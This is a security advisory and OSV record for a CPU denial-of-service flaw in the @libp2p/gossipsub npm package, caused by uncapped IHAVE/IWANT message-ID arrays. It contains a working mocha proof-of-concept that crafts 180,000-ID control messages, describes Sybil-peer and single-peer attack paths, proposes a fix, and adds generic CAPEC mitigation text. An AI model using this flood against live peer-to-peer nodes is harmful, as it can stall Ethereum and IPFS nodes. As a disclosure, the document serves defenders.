gossipsub processes IHAVE and IWANT control messages by iterating every received message ID synchronously before doing anything with the results. There is no cap on how many IDs a single frame may contain. The default LP frame limit is 4MB, which fits roughly 180,000 message IDs. Iterating that many IDs blocks the Node.js event loop for around 200ms per call.
The two variants have different severity. For IHAVE there is a per-peer per-heartbeat counter that limits each peer to one full iteration per heartbeat, so causing a total stall requires around 10 Sybil peers. For IWANT there is no equivalent counter at all, so a single peer continuously streaming 4MB frames can hold the event loop above 80% utilisation indefinitely.
Details
No decode-time cap on message ID count (message/decodeRpc.ts:11-19)
export const defaultDecodeRpcLimits: DecodeRPCLimits = {
maxSubscriptions: Infinity,
maxMessages: Infinity,
maxIhaveMessageIDs: Infinity,
maxIwantMessageIDs: Infinity,
maxIdontwantMessageIDs: Infinity,
maxControlMessages: Infinity,
maxPeerInfos: Infinity
}
These are the defaults unless the operator explicitly overrides opts.decodeRpcLimits. A TODO at gossipsub.ts:857 already notes the gap: // TODO: Check max gossip message size, before decodeRpc().
IHAVE iterates all IDs before truncating (gossipsub.ts:1311-1327)
messageIDs.forEach((msgId) => {
const msgIdStr = this.msgIdToStrFn(msgId)
if (!this.seenCache.has(msgIdStr)) {
iwant.set(msgIdStr, msgId)
}
})
// truncation to GossipsubMaxIHaveLength (5000) only happens after the loop finishes
The per-peer flood counters (iasked, peerhave) do cap things eventually: each peer is limited to 10 IHAVE RPCs and 5000 IDs counted per heartbeat. After the first oversized IHAVE from a peer, subsequent ones are rejected cheaply. The problem is that the cap is per peer, so 10 Sybil peers each sending one 180K-ID IHAVE per heartbeat gives 10 x 150ms = 1500ms of synchronous work against a 1000ms heartbeat interval.
IWANT has no rate limit at all (gossipsub.ts:1377-1394)
messageIDs?.forEach((msgId) => {
const msgIdStr = this.msgIdToStrFn(msgId)
const entry = this.mcache.getWithIWantCount(msgIdStr, id)
// ...
})
Unlike IHAVE, handleIWant has no peerhave or iasked equivalent. A single peer can send IWANT RPCs continuously with no per-heartbeat limit. Sending IWANT for non-existent messages does not affect the attacker's score (onIwantRcv is metrics-only), so there is no automatic disconnect. At 1 Gbps a 4MB frame arrives every ~32ms and takes ~135ms to process, giving roughly 81% event-loop utilisation from a single connection.
Attack Paths
IHAVE (requires ~10 Sybil peers)
The attacker connects 10 peers, each subscribing to a topic the victim is on. New peers start at score 0, which is above the default gossipThreshold of -10, so IHAVE processing is active immediately. Each peer sends one 4MB RPC per heartbeat containing a single ControlIHave entry with ~180,000 random message IDs. The victim processes all 180,000 IDs per peer before the counter kicks in for that peer. Total event-loop block: around 1500ms per 1000ms heartbeat.
IWANT (single peer, no Sybil) The attacker connects once and streams 4MB IWANT RPCs continuously, each containing ~180,000 random message IDs that do not exist in the victim's cache. No rate limit applies. At datacenter bandwidth the event loop stays above 80% utilisation indefinitely.
PoC
Setup and execution of PoC
git clone https://github.com/libp2p/js-libp2p.git
cd js-libp2p
npm install
cd packages/gossipsub
npx aegir build
node --experimental-vm-modules ../../node_modules/.bin/mocha 'dist/test/poc.spec.js' --timeout 30000
PoC Content:
import { stop } from '@libp2p/interface'
import assert from 'node:assert'
import { performance } from 'node:perf_hooks'
import { encode as lpEncode } from 'it-length-prefixed'
import { pEvent } from 'p-event'
import { RPC } from '../src/message/rpc.js'
import { GossipsubMaxIHaveMessages, GossipsubMaxIHaveLength, GossipsubHeartbeatInterval } from '../src/constants.js'
import { createComponents, connectPubsubNodes } from './utils/create-pubsub.js'
import type { GossipSubAndComponents } from './utils/create-pubsub.js'
const TOPIC = 'poc-ihave-flood'
const MSG_ID_BYTES = 20
// 4 MB LP limit / ~22 bytes per message ID (1-byte tag + 1-byte len + 20 bytes)
const MSG_IDS_PER_IHAVE = 180_000
function randomMsgIds (count: number): Uint8Array[] {
return Array.from({ length: count }, () => {
const id = new Uint8Array(MSG_ID_BYTES)
crypto.getRandomValues(id)
return id
})
}
describe('CPU DoS via oversized IHAVE and IWANT control message arrays', function () {
this.timeout(30_000)
let victim: GossipSubAndComponents
let attacker: GossipSubAndComponents
beforeEach(async () => {
;[victim, attacker] = await Promise.all([
createComponents({ init: { allowPublishToZeroTopicPeers: true } }),
createComponents({ init: { allowPublishToZeroTopicPeers: true } })
])
// Both subscribe to the topic so the victim builds a mesh entry
victim.pubsub.subscribe(TOPIC)
attacker.pubsub.subscribe(TOPIC)
await connectPubsubNodes(victim, attacker)
// Wait for one heartbeat so the victim's mesh includes the attacker
await pEvent(victim.pubsub, 'gossipsub:heartbeat')
})
afterEach(async () => {
await stop(
victim.pubsub, attacker.pubsub,
...Object.values(victim.components),
...Object.values(attacker.components)
)
})
it('BYPASS: single IHAVE with 180K message IDs blocks event loop for ~135ms', async () => {
const attackerIdStr = attacker.components.peerId.toString()
// Verify attacker is in victim's mesh (required for handleIHave to iterate IDs)
const meshPeers = (victim.pubsub as any).mesh.get(TOPIC) as Set<string> | undefined
if (meshPeers == null || !meshPeers.has(attackerIdStr)) {
// Force mesh membership for the PoC if heartbeat hasn't built it yet
if (meshPeers == null) {
(victim.pubsub as any).mesh.set(TOPIC, new Set([attackerIdStr]))
} else {
meshPeers.add(attackerIdStr)
}
}
const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)
// Invoke handleIHave directly
const t0 = performance.now()
const iwant = (victim.pubsub as any).handleIHave(
attackerIdStr,
[{ topicID: TOPIC, messageIDs }]
) as Array<{ messageIDs: Uint8Array[] }>
const elapsed = performance.now() - t0
console.log(`\n[PoC] 1 IHAVE × ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${elapsed.toFixed(0)} ms event-loop block`)
console.log(`[PoC] Response capped at: ${iwant[0]?.messageIDs?.length ?? 0} IWANTs (limit: ${GossipsubMaxIHaveLength})`)
console.log(`[PoC] Heartbeat interval: ${GossipsubHeartbeatInterval} ms`)
// The blocking time should be significant (>>10ms) for a meaningful DoS
assert.ok(elapsed > 50,
`expected >50ms event-loop block for ${MSG_IDS_PER_IHAVE} IDs, got ${elapsed.toFixed(0)}ms`)
// Victim caps the response regardless of how many IDs were iterated
assert.ok(
iwant[0]?.messageIDs?.length <= GossipsubMaxIHaveLength,
`response should be capped at ${GossipsubMaxIHaveLength}`
)
})
it('MULTI-PEER: N peers × 1 IHAVE each, iasked resets per peer, total block scales linearly', async () => {
const N_PEERS = 10
const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)
// Ensure mesh includes a placeholder topic so !this.mesh.has(topicID) passes
const fakeMeshPeers: Set<string> = new Set()
;(victim.pubsub as any).mesh.set(TOPIC, fakeMeshPeers)
let totalElapsed = 0
for (let i = 0; i < N_PEERS; i++) {
// Each "Sybil" peer uses a unique peer ID string
const fakePeerId = `12D3KooW${i.toString().padStart(36, '0')}`
fakeMeshPeers.add(fakePeerId)
// Fresh counters: simulates a peer the victim hasn't seen this heartbeat
;(victim.pubsub as any).peerhave.delete(fakePeerId)
;(victim.pubsub as any).iasked.delete(fakePeerId)
// Score defaults to 0 (> gossipThreshold of -10): no score entry needed
const t0 = performance.now()
;(victim.pubsub as any).handleIHave(fakePeerId, [{ topicID: TOPIC, messageIDs }])
const elapsed = performance.now() - t0
totalElapsed += elapsed
process.stdout.write(` peer ${i + 1}/${N_PEERS}: ${elapsed.toFixed(0)} ms\n`)
}
const ratio = totalElapsed / GossipsubHeartbeatInterval
console.log(`\n[PoC] ${N_PEERS} peers × ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${totalElapsed.toFixed(0)} ms total`)
console.log(`[PoC] Heartbeat interval: ${GossipsubHeartbeatInterval} ms`)
console.log(`[PoC] Ratio (block / heartbeat): ${ratio.toFixed(2)}x`)
console.log(`[PoC] Attacker cost: ${N_PEERS} × 4 MB = ${N_PEERS * 4} MB/s outbound`)
console.log(`[PoC] Each peer's iasked resets at heartbeat — sustainable indefinitely`)
// 10 peers should easily exceed the 1s heartbeat interval
assert.ok(
totalElapsed > GossipsubHeartbeatInterval * 0.9,
`expected ${N_PEERS} peers to block ≥ ${GossipsubHeartbeatInterval * 0.9} ms, got ${totalElapsed.toFixed(0)} ms`
)
})
it('ENCODE: crafted 180K-ID IHAVE RPC fits within 4 MB LP frame limit', () => {
const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)
const rpc = RPC.encode({
subscriptions: [],
messages: [],
control: {
ihave: [{ topicID: TOPIC, messageIDs }],
iwant: [],
graft: [],
prune: [],
idontwant: []
}
})
const MAX_LP_BYTES = 4 * 1024 * 1024 // DEFAULT_MAX_DATA_LENGTH from it-length-prefixed
console.log(`\n[PoC] Serialised RPC size: ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB`)
console.log(`[PoC] LP frame limit: ${MAX_LP_BYTES / (1024 * 1024)} MB`)
console.log(`[PoC] Fits in one frame: ${rpc.byteLength <= MAX_LP_BYTES ? 'YES ✓' : 'NO ✗'}`)
console.log(`[PoC] defaultDecodeRpcLimits.maxIhaveMessageIDs = Infinity (no decode-level cap)`)
assert.ok(rpc.byteLength <= MAX_LP_BYTES,
`crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default — confirms no LP-level protection`)
})
})
The IWANT variant has the same per-frame timing but does not need Sybil peers. A separate IWANT PoC can be provided on request.
Impact
Any node running @libp2p/gossipsub with default options that accepts inbound connections is affected. This includes Ethereum consensus clients using js-libp2p (Lodestar), IPFS nodes with pubsub enabled, and anything calling createLibp2p({ services: { pubsub: gossipsub() } }).
With 10 Sybil peers the IHAVE variant blocks the event loop for 1.5x the heartbeat interval continuously. The node cannot forward messages, run its heartbeat, or respond to legitimate peers. The IWANT variant achieves the same result from a single connection at datacenter bandwidth.
Nodes that explicitly configure opts.decodeRpcLimits with finite values are not affected.
Suggested fix
Set finite defaults in decodeRpc.ts:
export const defaultDecodeRpcLimits: DecodeRPCLimits = {
maxSubscriptions: 128,
maxMessages: 256,
maxIhaveMessageIDs: 5_000,
maxIwantMessageIDs: 5_000,
maxIdontwantMessageIDs: 5_000,
maxControlMessages: 128,
maxPeerInfos: 16
}
Setting maxIhaveMessageIDs and maxIwantMessageIDs to 5000 (matching GossipsubMaxIHaveLength) bounds the iteration cost to the response limit rather than attacker input.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@libp2p/gossipsub"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "16.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49866"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-10T16:04:49Z",
"nvd_published_at": "2026-07-08T21:16:49Z",
"severity": "HIGH"
},
"details": "### Summary\ngossipsub processes IHAVE and IWANT control messages by iterating every received message ID synchronously before doing anything with the results. There is no cap on how many IDs a single frame may contain. The default LP frame limit is 4MB, which fits roughly 180,000 message IDs. Iterating that many IDs blocks the Node.js event loop for around 200ms per call.\n\nThe two variants have different severity. For IHAVE there is a per-peer per-heartbeat counter that limits each peer to one full iteration per heartbeat, so causing a total stall requires around 10 Sybil peers. For IWANT there is no equivalent counter at all, so a single peer continuously streaming 4MB frames can hold the event loop above 80% utilisation indefinitely.\n\n### Details\n### No decode-time cap on message ID count (`message/decodeRpc.ts:11-19`)\n```typescript \nexport const defaultDecodeRpcLimits: DecodeRPCLimits = {\n maxSubscriptions: Infinity,\n maxMessages: Infinity,\n maxIhaveMessageIDs: Infinity,\n maxIwantMessageIDs: Infinity,\n maxIdontwantMessageIDs: Infinity,\n maxControlMessages: Infinity,\n maxPeerInfos: Infinity\n}\n```\n\nThese are the defaults unless the operator explicitly overrides `opts.decodeRpcLimits`. A `TODO` at `gossipsub.ts:857` already notes the gap: `// TODO: Check max gossip message size, before decodeRpc()`.\n\n### IHAVE iterates all IDs before truncating (`gossipsub.ts:1311-1327`)\n\n```typescript \nmessageIDs.forEach((msgId) =\u003e { \n const msgIdStr = this.msgIdToStrFn(msgId) \n if (!this.seenCache.has(msgIdStr)) { \n iwant.set(msgIdStr, msgId) \n } \n}) \n// truncation to GossipsubMaxIHaveLength (5000) only happens after the loop finishes \n```\n\nThe per-peer flood counters (`iasked`, `peerhave`) do cap things eventually: each peer is limited to 10 IHAVE RPCs and 5000 IDs counted per heartbeat. After the first oversized IHAVE from a peer, subsequent ones are rejected cheaply. The problem is that the cap is per peer, so 10 Sybil peers each sending one 180K-ID IHAVE per heartbeat gives 10 x 150ms = 1500ms of synchronous work against a 1000ms heartbeat interval.\n\n### IWANT has no rate limit at all (`gossipsub.ts:1377-1394`)\n```typescript \nmessageIDs?.forEach((msgId) =\u003e { \n const msgIdStr = this.msgIdToStrFn(msgId) \n const entry = this.mcache.getWithIWantCount(msgIdStr, id) \n // ... \n}) \n```\n\nUnlike IHAVE, `handleIWant` has no `peerhave` or `iasked` equivalent. A single peer can send IWANT RPCs continuously with no per-heartbeat limit. Sending IWANT for non-existent messages does not affect the attacker\u0027s score (`onIwantRcv` is metrics-only), so there is no automatic disconnect. At 1 Gbps a 4MB frame arrives every ~32ms and takes ~135ms to process, giving roughly 81% event-loop utilisation from a single connection.\n\n### Attack Paths\n**IHAVE (requires ~10 Sybil peers)**\nThe attacker connects 10 peers, each subscribing to a topic the victim is on. New peers start at score 0, which is above the default `gossipThreshold` of -10, so IHAVE processing is active immediately. Each peer sends one 4MB RPC per heartbeat containing a single `ControlIHave` entry with ~180,000 random message IDs. The victim processes all 180,000 IDs per peer before the counter kicks in for that peer. Total event-loop block: around 1500ms per 1000ms heartbeat.\n\n**IWANT (single peer, no Sybil)**\nThe attacker connects once and streams 4MB IWANT RPCs continuously, each containing ~180,000 random message IDs that do not exist in the victim\u0027s cache. No rate limit applies. At datacenter bandwidth the event loop stays above 80% utilisation indefinitely.\n\n### PoC\nSetup and execution of PoC\n```bash \ngit clone https://github.com/libp2p/js-libp2p.git\ncd js-libp2p \nnpm install \ncd packages/gossipsub \nnpx aegir build \nnode --experimental-vm-modules ../../node_modules/.bin/mocha \u0027dist/test/poc.spec.js\u0027 --timeout 30000 \n```\nPoC Content:\n```typescript\nimport { stop } from \u0027@libp2p/interface\u0027\nimport assert from \u0027node:assert\u0027\nimport { performance } from \u0027node:perf_hooks\u0027\nimport { encode as lpEncode } from \u0027it-length-prefixed\u0027\nimport { pEvent } from \u0027p-event\u0027\nimport { RPC } from \u0027../src/message/rpc.js\u0027\nimport { GossipsubMaxIHaveMessages, GossipsubMaxIHaveLength, GossipsubHeartbeatInterval } from \u0027../src/constants.js\u0027\nimport { createComponents, connectPubsubNodes } from \u0027./utils/create-pubsub.js\u0027\nimport type { GossipSubAndComponents } from \u0027./utils/create-pubsub.js\u0027\n\nconst TOPIC = \u0027poc-ihave-flood\u0027\nconst MSG_ID_BYTES = 20\n// 4 MB LP limit / ~22 bytes per message ID (1-byte tag + 1-byte len + 20 bytes)\nconst MSG_IDS_PER_IHAVE = 180_000\n\nfunction randomMsgIds (count: number): Uint8Array[] {\n return Array.from({ length: count }, () =\u003e {\n const id = new Uint8Array(MSG_ID_BYTES)\n crypto.getRandomValues(id)\n return id\n })\n}\n\ndescribe(\u0027CPU DoS via oversized IHAVE and IWANT control message arrays\u0027, function () {\n this.timeout(30_000)\n\n let victim: GossipSubAndComponents\n let attacker: GossipSubAndComponents\n\n beforeEach(async () =\u003e {\n ;[victim, attacker] = await Promise.all([\n createComponents({ init: { allowPublishToZeroTopicPeers: true } }),\n createComponents({ init: { allowPublishToZeroTopicPeers: true } })\n ])\n\n // Both subscribe to the topic so the victim builds a mesh entry\n victim.pubsub.subscribe(TOPIC)\n attacker.pubsub.subscribe(TOPIC)\n\n await connectPubsubNodes(victim, attacker)\n\n // Wait for one heartbeat so the victim\u0027s mesh includes the attacker\n await pEvent(victim.pubsub, \u0027gossipsub:heartbeat\u0027)\n })\n\n afterEach(async () =\u003e {\n await stop(\n victim.pubsub, attacker.pubsub,\n ...Object.values(victim.components),\n ...Object.values(attacker.components)\n )\n })\n\n it(\u0027BYPASS: single IHAVE with 180K message IDs blocks event loop for ~135ms\u0027, async () =\u003e {\n const attackerIdStr = attacker.components.peerId.toString()\n\n // Verify attacker is in victim\u0027s mesh (required for handleIHave to iterate IDs)\n const meshPeers = (victim.pubsub as any).mesh.get(TOPIC) as Set\u003cstring\u003e | undefined\n if (meshPeers == null || !meshPeers.has(attackerIdStr)) {\n // Force mesh membership for the PoC if heartbeat hasn\u0027t built it yet\n if (meshPeers == null) {\n (victim.pubsub as any).mesh.set(TOPIC, new Set([attackerIdStr]))\n } else {\n meshPeers.add(attackerIdStr)\n }\n }\n\n const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)\n\n // Invoke handleIHave directly\n const t0 = performance.now()\n const iwant = (victim.pubsub as any).handleIHave(\n attackerIdStr,\n [{ topicID: TOPIC, messageIDs }]\n ) as Array\u003c{ messageIDs: Uint8Array[] }\u003e\n const elapsed = performance.now() - t0\n\n console.log(`\\n[PoC] 1 IHAVE \u00d7 ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${elapsed.toFixed(0)} ms event-loop block`)\n console.log(`[PoC] Response capped at: ${iwant[0]?.messageIDs?.length ?? 0} IWANTs (limit: ${GossipsubMaxIHaveLength})`)\n console.log(`[PoC] Heartbeat interval: ${GossipsubHeartbeatInterval} ms`)\n\n // The blocking time should be significant (\u003e\u003e10ms) for a meaningful DoS\n assert.ok(elapsed \u003e 50,\n `expected \u003e50ms event-loop block for ${MSG_IDS_PER_IHAVE} IDs, got ${elapsed.toFixed(0)}ms`)\n\n // Victim caps the response regardless of how many IDs were iterated\n assert.ok(\n iwant[0]?.messageIDs?.length \u003c= GossipsubMaxIHaveLength,\n `response should be capped at ${GossipsubMaxIHaveLength}`\n )\n })\n\n it(\u0027MULTI-PEER: N peers \u00d7 1 IHAVE each, iasked resets per peer, total block scales linearly\u0027, async () =\u003e {\n const N_PEERS = 10\n const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)\n\n // Ensure mesh includes a placeholder topic so !this.mesh.has(topicID) passes\n const fakeMeshPeers: Set\u003cstring\u003e = new Set()\n ;(victim.pubsub as any).mesh.set(TOPIC, fakeMeshPeers)\n\n let totalElapsed = 0\n\n for (let i = 0; i \u003c N_PEERS; i++) {\n // Each \"Sybil\" peer uses a unique peer ID string\n const fakePeerId = `12D3KooW${i.toString().padStart(36, \u00270\u0027)}`\n fakeMeshPeers.add(fakePeerId)\n\n // Fresh counters: simulates a peer the victim hasn\u0027t seen this heartbeat\n ;(victim.pubsub as any).peerhave.delete(fakePeerId)\n ;(victim.pubsub as any).iasked.delete(fakePeerId)\n // Score defaults to 0 (\u003e gossipThreshold of -10): no score entry needed\n\n const t0 = performance.now()\n ;(victim.pubsub as any).handleIHave(fakePeerId, [{ topicID: TOPIC, messageIDs }])\n const elapsed = performance.now() - t0\n\n totalElapsed += elapsed\n process.stdout.write(` peer ${i + 1}/${N_PEERS}: ${elapsed.toFixed(0)} ms\\n`)\n }\n\n const ratio = totalElapsed / GossipsubHeartbeatInterval\n console.log(`\\n[PoC] ${N_PEERS} peers \u00d7 ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${totalElapsed.toFixed(0)} ms total`)\n console.log(`[PoC] Heartbeat interval: ${GossipsubHeartbeatInterval} ms`)\n console.log(`[PoC] Ratio (block / heartbeat): ${ratio.toFixed(2)}x`)\n console.log(`[PoC] Attacker cost: ${N_PEERS} \u00d7 4 MB = ${N_PEERS * 4} MB/s outbound`)\n console.log(`[PoC] Each peer\u0027s iasked resets at heartbeat \u2014 sustainable indefinitely`)\n\n // 10 peers should easily exceed the 1s heartbeat interval\n assert.ok(\n totalElapsed \u003e GossipsubHeartbeatInterval * 0.9,\n `expected ${N_PEERS} peers to block \u2265 ${GossipsubHeartbeatInterval * 0.9} ms, got ${totalElapsed.toFixed(0)} ms`\n )\n })\n\n it(\u0027ENCODE: crafted 180K-ID IHAVE RPC fits within 4 MB LP frame limit\u0027, () =\u003e {\n const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)\n\n const rpc = RPC.encode({\n subscriptions: [],\n messages: [],\n control: {\n ihave: [{ topicID: TOPIC, messageIDs }],\n iwant: [],\n graft: [],\n prune: [],\n idontwant: []\n }\n })\n\n const MAX_LP_BYTES = 4 * 1024 * 1024 // DEFAULT_MAX_DATA_LENGTH from it-length-prefixed\n\n console.log(`\\n[PoC] Serialised RPC size: ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB`)\n console.log(`[PoC] LP frame limit: ${MAX_LP_BYTES / (1024 * 1024)} MB`)\n console.log(`[PoC] Fits in one frame: ${rpc.byteLength \u003c= MAX_LP_BYTES ? \u0027YES \u2713\u0027 : \u0027NO \u2717\u0027}`)\n console.log(`[PoC] defaultDecodeRpcLimits.maxIhaveMessageIDs = Infinity (no decode-level cap)`)\n\n assert.ok(rpc.byteLength \u003c= MAX_LP_BYTES,\n `crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default \u2014 confirms no LP-level protection`)\n })\n})\n```\n\nThe IWANT variant has the same per-frame timing but does not need Sybil peers. A separate IWANT PoC can be provided on request.\n\n### Impact\nAny node running `@libp2p/gossipsub` with default options that accepts inbound connections is affected. This includes Ethereum consensus clients using js-libp2p (Lodestar), IPFS nodes with pubsub enabled, and anything calling `createLibp2p({ services: { pubsub: gossipsub() } })`.\n\nWith 10 Sybil peers the IHAVE variant blocks the event loop for 1.5x the heartbeat interval continuously. The node cannot forward messages, run its heartbeat, or respond to legitimate peers. The IWANT variant achieves the same result from a single connection at datacenter bandwidth.\n\nNodes that explicitly configure `opts.decodeRpcLimits` with finite values are not affected.\n\n## Suggested fix\n\nSet finite defaults in `decodeRpc.ts`:\n```typescript\nexport const defaultDecodeRpcLimits: DecodeRPCLimits = {\n maxSubscriptions: 128,\n maxMessages: 256, \n maxIhaveMessageIDs: 5_000,\n maxIwantMessageIDs: 5_000, \n maxIdontwantMessageIDs: 5_000,\n maxControlMessages: 128,\n maxPeerInfos: 16\n}\n```\n\nSetting `maxIhaveMessageIDs` and `maxIwantMessageIDs` to 5000 (matching `GossipsubMaxIHaveLength`) bounds the iteration cost to the response limit rather than attacker input.",
"id": "GHSA-cwc9-cp4j-mcvv",
"modified": "2026-07-10T16:04:49Z",
"published": "2026-07-10T16:04:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-cwc9-cp4j-mcvv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49866"
},
{
"type": "WEB",
"url": "https://github.com/libp2p/js-libp2p/pull/3520"
},
{
"type": "WEB",
"url": "https://github.com/libp2p/js-libp2p/commit/773dd80ded24dbd6b19e675c89fd2f3b45f2d899"
},
{
"type": "PACKAGE",
"url": "https://github.com/libp2p/js-libp2p"
},
{
"type": "WEB",
"url": "https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v16.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "libp2p: CPU DoS via oversized IHAVE and IWANT control message arrays"
}
Mitigation
Architecture and Design
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
Architecture and Design
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Implementation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.